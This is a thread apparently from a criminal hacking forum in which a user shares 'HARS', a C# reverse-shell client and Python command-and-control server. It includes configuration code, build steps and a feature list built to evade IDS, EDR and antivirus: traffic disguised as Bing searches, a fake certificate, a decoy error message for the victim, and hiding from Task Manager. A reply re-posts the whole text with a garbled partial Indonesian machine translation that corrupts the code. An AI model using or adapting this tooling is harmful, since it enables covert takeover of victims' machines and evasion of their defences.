Статья HTTP/S Asynchronous Reverse Shell

[r1z]

Hi guys;

I want to share today this tool; which is using a reverse shell in order to be able to remotely control a machine through a firewall. Indeed, outgoing connections are not always filtered.

We also ask all readers to familiarize themselves with the contest of articles # 6 "https: //xss.pro/threads/55078/

However security software and hardware (IPS, IDS, Proxy, AV, EDR...) are more and more powerful and can detect those attacks. Most of the time the connection to a reverse shell is established through a L4 TCP tunnel.

I figured that the best way to stay undetected would be to make it look like legitimate traffic. The HTTP protocol (Layer 7) is the most used by a standard user. Moreover it is almost never filtered so as not to block access to websites.

The particularity of this POC is that the communication is completely asynchronous, and it only uses GET requests.

How it works ?​

1. The client app is executed on the target machine.
2. The client initiates the connection with the server.
3. The server accepts the connection.

Then:
-The client queries the server until it gets instructions.
-The attacker provides instructions to the server.
-When a command is defined, the client executes it and returns the result.

And so on, until the attacker decides to end the session.

Features​

Today, as a poc, the following functionalities are implemented:

1. Fake HTTP traffic to appear as searches on bing.com.
2. Commands are base64 encoded in the HTML response.
3. The result of the commands is encoded in base64 as a cookie by the client.
4. [Optional] SSL support; by default it is a fake bing.com certificate.
5. Random delay between each client call to avoid triggering IDSs.
6. Random template is used for each response from the server.
7. Re-use of the same powershell process to avoid triggering EDRs.
8. Support for all Cmd and Powershell commands.
9. [Optional] The client can display a fake error message at startup.
10. The client is hidden from tasks manager.
11. [Optional] The client can be run as an administrator.

client side:

server side:

Configuration​

Client : C Sharp

1. Open HARS.sln in Visual Studio

Config.cs

This file contains parameters ; Assign the values you want

class Config
    {
        /* Behavior */
        // Display a fake error msg at startup
        public static bool DisplayErrorMsg = true;
        // Title of fake error msg
        public static string ErrorMsgTitle = "This application could not be started.";
        // Description of fake error msg
        public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
        // Min delay between the client calls
        public static int MinDelay = 2;
        // Max delay between the client calls
        public static int MaxDelay = 5;
        // Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
        public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
        /* Listener */
        // Hostname/IP of C&C server
        public static string Server = "https://127.0.0.1";
        // Listening port of C&C server
        public static string Port = "443";
        // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
        public static bool AllowInsecureCertificate = true;
    }

RESIN.manifest

Change this line to run by default the client with certain privileges :

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

with

<requestedExecutionLevel level="asInvoker" uiAccess="false" />

Or

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

Or

<requestedExecutionLevel level="highestAvailable" uiAccess="false" />

Project properties

Here you can customize the assembly information and an icon for the file.

Note : Target .NET framework version is set to 4.6 which is available by default in Windows 10.
For Windows 7, choose .NET 3.5 if you don't want to have to install missing features.

Build​

Build the project from Visual Studio. The client should be generated in

Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release

folder.

Server : Python

HARS_Server.py Location :

Http Asynchronous Reverse Shell\HARS_Server\www

Simply change the port or location on the certificate if needed in the config section.

# Config
PORT = 443
CERT_FILE = '../server.pem'

Run:

python HARS_Server.py

Notes​

-HTTP Logs are located in Http Asynchronous Reverse Shell\HARS_Server\logs\
-You can add your own templates (any html page) in Http Asynchronous Reverse Shell\HARS_Server\templates

We also ask all readers to familiarize themselves with the contest of articles # 6 "https: //xss.pro/threads/55078/

./r1z

 

[8oh8]

Where's the source?

 

[r1z]

Where's the source?

here;

 

[ProTzyy]

Hi guys;

I want to share today this tool; which is using a reverse shell in order to be able to remotely control a machine through a firewall. Indeed, outgoing connections are not always filtered.

We also ask all readers to familiarize themselves with the contest of articles # 6 "https: //xss.pro/threads/55078/

However security software and hardware (IPS, IDS, Proxy, AV, EDR...) are more and more powerful and can detect those attacks. Most of the time the connection to a reverse shell is established through a L4 TCP tunnel.

I figured that the best way to stay undetected would be to make it look like legitimate traffic. The HTTP protocol (Layer 7) is the most used by a standard user. Moreover it is almost never filtered so as not to block access to websites.

The particularity of this POC is that the communication is completely asynchronous, and it only uses GET requests.

Посмотреть вложение 25865

How it works ?​

1. The client app is executed on the target machine.
2. The client initiates the connection with the server.
3. The server accepts the connection.

Then:
-The client queries the server until it gets instructions.
-The attacker provides instructions to the server.
-When a command is defined, the client executes it and returns the result.

And so on, until the attacker decides to end the session.

Посмотреть вложение 25866

Features​

Today, as a poc, the following functionalities are implemented:

1. Fake HTTP traffic to appear as searches on bing.com.
2. Commands are base64 encoded in the HTML response.
3. The result of the commands is encoded in base64 as a cookie by the client.
4. [Optional] SSL support; by default it is a fake bing.com certificate.
5. Random delay between each client call to avoid triggering IDSs.
6. Random template is used for each response from the server.
7. Re-use of the same powershell process to avoid triggering EDRs.
8. Support for all Cmd and Powershell commands.
9. [Optional] The client can display a fake error message at startup.
10. The client is hidden from tasks manager.
11. [Optional] The client can be run as an administrator.

client side:

Посмотреть вложение 25867


server side:

Посмотреть вложение 25868

Configuration​

Client : C Sharp

1. Open HARS.sln in Visual Studio

Config.cs

This file contains parameters ; Assign the values you want

class Config
    {
        /* Behavior */
        // Display a fake error msg at startup
        public static bool DisplayErrorMsg = true;
        // Title of fake error msg
        public static string ErrorMsgTitle = "This application could not be started.";
        // Description of fake error msg
        public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
        // Min delay between the client calls
        public static int MinDelay = 2;
        // Max delay between the client calls
        public static int MaxDelay = 5;
        // Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
        public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
        /* Listener */
        // Hostname/IP of C&C server
        public static string Server = "https://127.0.0.1";
        // Listening port of C&C server
        public static string Port = "443";
        // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
        public static bool AllowInsecureCertificate = true;
    }

RESIN.manifest

Change this line to run by default the client with certain privileges :

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

with

<requestedExecutionLevel level="asInvoker" uiAccess="false" />

Or

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

Or

<requestedExecutionLevel level="highestAvailable" uiAccess="false" />

Project properties

Here you can customize the assembly information and an icon for the file.

Посмотреть вложение 25869


Catatan: Target .NET framework version diatur ke 4.6 yang tersedia secara default di Windows 10.
Untuk Windows 7, pilih .NET 3.5 jika Anda tidak ingin menginstal fitur yang hilang.

Membangun​

Bangun proyek dari Visual Studio. Klien harus dibuat dalam

Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release

map.

Server: Python

HARS_Server.py Lokasi :

Http Asynchronous Reverse Shell\HARS_Server\www

Cukup ubah port atau lokasi pada sertifikat jika diperlukan di bagian konfigurasi.

[KODE]# Konfigurasi
PELABUHAN = 443
CERT_FILE = '../server.pem'[/CODE]

Lari:

python HARS_Server.py

Catatan​

Kami juga meminta semua pembaca untuk membiasakan diri dengan kontes artikel # 6 "https: //xss.pro/threads/55078/

./r1z

Good